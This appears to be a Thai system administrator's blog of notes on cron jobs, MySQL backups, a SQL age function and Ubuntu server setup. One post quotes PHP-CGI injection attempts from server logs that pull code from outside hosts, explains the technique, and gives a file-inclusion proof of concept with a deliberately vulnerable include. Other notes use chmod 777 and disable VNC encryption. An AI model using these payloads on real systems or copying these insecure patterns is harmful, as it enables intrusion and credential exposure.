thaicosmic.com

หนัง

วันศุกร์ที่ 27 กุมภาพันธ์ พ.ศ. 2558

new crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
#mod by polngpole

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
40 17,19,23 * * 0-6 root /var/jhcis/mysql-backup-jhcisdb.sh >/dev/null 2>&1
30 0-23  * * 0-6 root    /var/jepidem/runjepidem.sh >/dev/null 2>&1
50 0-23  * * 0-6 root    /var/jxp18/runjxp18.sh >/dev/null 2>&1
20 13,16,21,02,06,10 * * 0-6 root /var/jautoup/runjauto.sh >/dev/null 2>&1
*/1 * * * * root /var/apache2/checkapache2.sh >/dev/null 2>&1

วันพุธที่ 25 กุมภาพันธ์ พ.ศ. 2558

ubuntu 14.04 prpblem

How to enable Python?
sudo apt-get install html2text
sudo apt-get install python-html2text

shell script to start apache2 if not running (checkapache2.sh)
#!/bin/bash
if [[ ! "$(service apache2 status)" =~ "apache2 is running" ]]
then service apache2 start
fi
#ok

Backup jhcisdb

# !/bin/sh
if [ ! -d /home/jhcis/Dropbox/backupjhcis ] ; then
sudo mkdir /home/jhcis/Dropbox/backupjhcis
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis
fi

sudo mysqldump   --default-character-set=utf8    jhcisdb --routines --compatible=no_key_options > /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "+0 day" "+%Y-%m-%d").sql
sudo rm -f /home/jhcis/Dropbox/backupjhcis/jhcisbackup.03301-$(date -d "-7 day" "+%Y-%m-%d").sql
 
exit 0

Custom program or Custom cron not work

ส่วนมากเป็นที่ permission แก้โดยใช้ terminal โอเคสุด
sudo chmod 777 -fR /home/jhcis/Dropbox/backupjhcis


function agemonthnutri

BEGIN DECLARE years INT;
DECLARE months INT;
DECLARE days INT;
DECLARE current_year INT;
DECLARE current_month INT;
DECLARE current_day INT;
DECLARE agemonth INT;
DECLARE year_diff INT;
DECLARE month_diff INT;
DECLARE day_diff INT;
DECLARE yearstring CHAR(6);
DECLARE monthstring CHAR(7);
DECLARE daystring CHAR(10);
SELECT YEAR(birth) INTO years;
SELECT MONTH(birth) INTO months;
SELECT DAY(birth) INTO days;
SELECT (YEAR(vdate)-YEAR(birth))  INTO year_diff;
SELECT (
CASE SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m')))
WHEN 0 THEN 0
WHEN -1 THEN  DATE_FORMAT(vdate,'%m') +12 - DATE_FORMAT(birth,'%m')
WHEN 1 THEN DATE_FORMAT(vdate,'%m') - DATE_FORMAT(birth,'%m')
END)
INTO month_diff;
if SIGN((DATE_FORMAT(vdate,'%m')-DATE_FORMAT(birth,'%m'))) = -1  THEN SET year_diff = year_diff - 1;END IF;
SELECT (
CASE SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
WHEN 0 THEN 0
WHEN -1 THEN (DATE_FORMAT(vdate, '%d')  +30 - DATE_FORMAT(birth, '%d'))
WHEN 1 THEN (DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d'))
END)
INTO day_diff;
if SIGN(DATE_FORMAT(vdate,'%d') - DATE_FORMAT(birth,'%d')) = -1  THEN SET month_diff = month_diff - 1;END IF;
if (day_diff > 15) THEN SET month_diff = month_diff + 1; END IF;
 SET agemonth = (year_diff*12) + month_diff;
RETURN agemonth;
 END

วันพฤหัสบดีที่ 5 กุมภาพันธ์ พ.ศ. 2558

Last hack

======================================================================
"POST /ascriptname.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1" 200 82 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2"

"POST /downloads/rytwi.php HTTP/1.1" 200 13 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"

======================================================================
“POST /index.php/topic/comments/have-you-ever/?-d+allow_url_include=1+-d+auto_prepend_file=php://input HTTP/1.1” 200 115 http://www.domain.com “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)” “-”

“POST /error/lmqtrfy.php HTTP/1.1” 200 25 http://www.domain.com “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1” “-”

======================================================================
/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://chetlemon.com/upload.txt

======================================================================
http://naughtymanila.com/phppath/php?-d+allow_url_include%3d1+-d+safe_mode%3d0+-d+suhosin.simulation%3d1+-d+disable_functions%3d''+-d+open_basedir%3dnone+-d+auto_prepend_file%3dhttp://blackhole.hostenko.com/1.txt+-n

======================================================================
The above URL is decoded as:

http://my_ip/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n

?-d allow_url_include=On: he is trying to add an extra parameter in the php-cgi call:

$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
       php [args...]
  -d foo[=bar]     Define INI entry foo with value 'bar'
+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n: then prepend his file as code to execute. Don't know why he uses Path Traversal attack here instead of using his code or php://input.

-n at the end to negate the php.ini:

$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
       php [args...]
  -n               No php.ini file will be used
PS: No need to worry if you aren't running PHP as a CGI script.

========================================================================
hackconndb.php
<?PHP
    $url = "http://127.0.0.1:82/4_hackconndb.php?urlConfig=php://filter/convert.base64-encode/resource=conndb.php";
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
    $contents = curl_exec($ch);
 if (curl_errno($ch)) {
          echo curl_error($ch);
          echo "\n
          ";
          $contents = '';
 } else {
          curl_close($ch);
 }

if (!is_string($contents) || !strlen($contents)) {
        echo "Failed to get contents.";
         $contents = '';
}
echo "<textarea name='source' rows='25' cols='120'>" . base64_decode($contents) . "</textarea>";
?>
------------------------------------------------------------------------------------------------------------
4_hackconndb.php
<?PHP
include($_REQUEST["urlConfig"]);
?>
========================================================================

วันอาทิตย์ที่ 1 กุมภาพันธ์ พ.ศ. 2558

For a Desktop setup, Install "gnome-search-tool"

sudo apt-get install gnome-search-tool

แก้ไข mySQL password สำหรับ phpMyadmin
sudo gedit /opt/lampp/phpmyadmin/config.inc.php

แก้ไข mySQL port สำหรับ mySQL
/etc/mysql/my.cnf

แก้ไข mySQL port สำหรับ phpMyadmin
/etc/dbconfig-common/phpmyadmin.conf

มันจะส่งค่าให้
/etc/phpmyadmin/config-db.php
ถ้าไม่ส่งให้ ก็แก้เองดิ

gksudo nautilus ไม่ทำงาน
sudo apt-get install gksu
ติดตั้ง apache
sudo apt-get install apache2
TightVNC ติดต่อไม่ได้
gsettings set org.gnome.Vino require-encryption false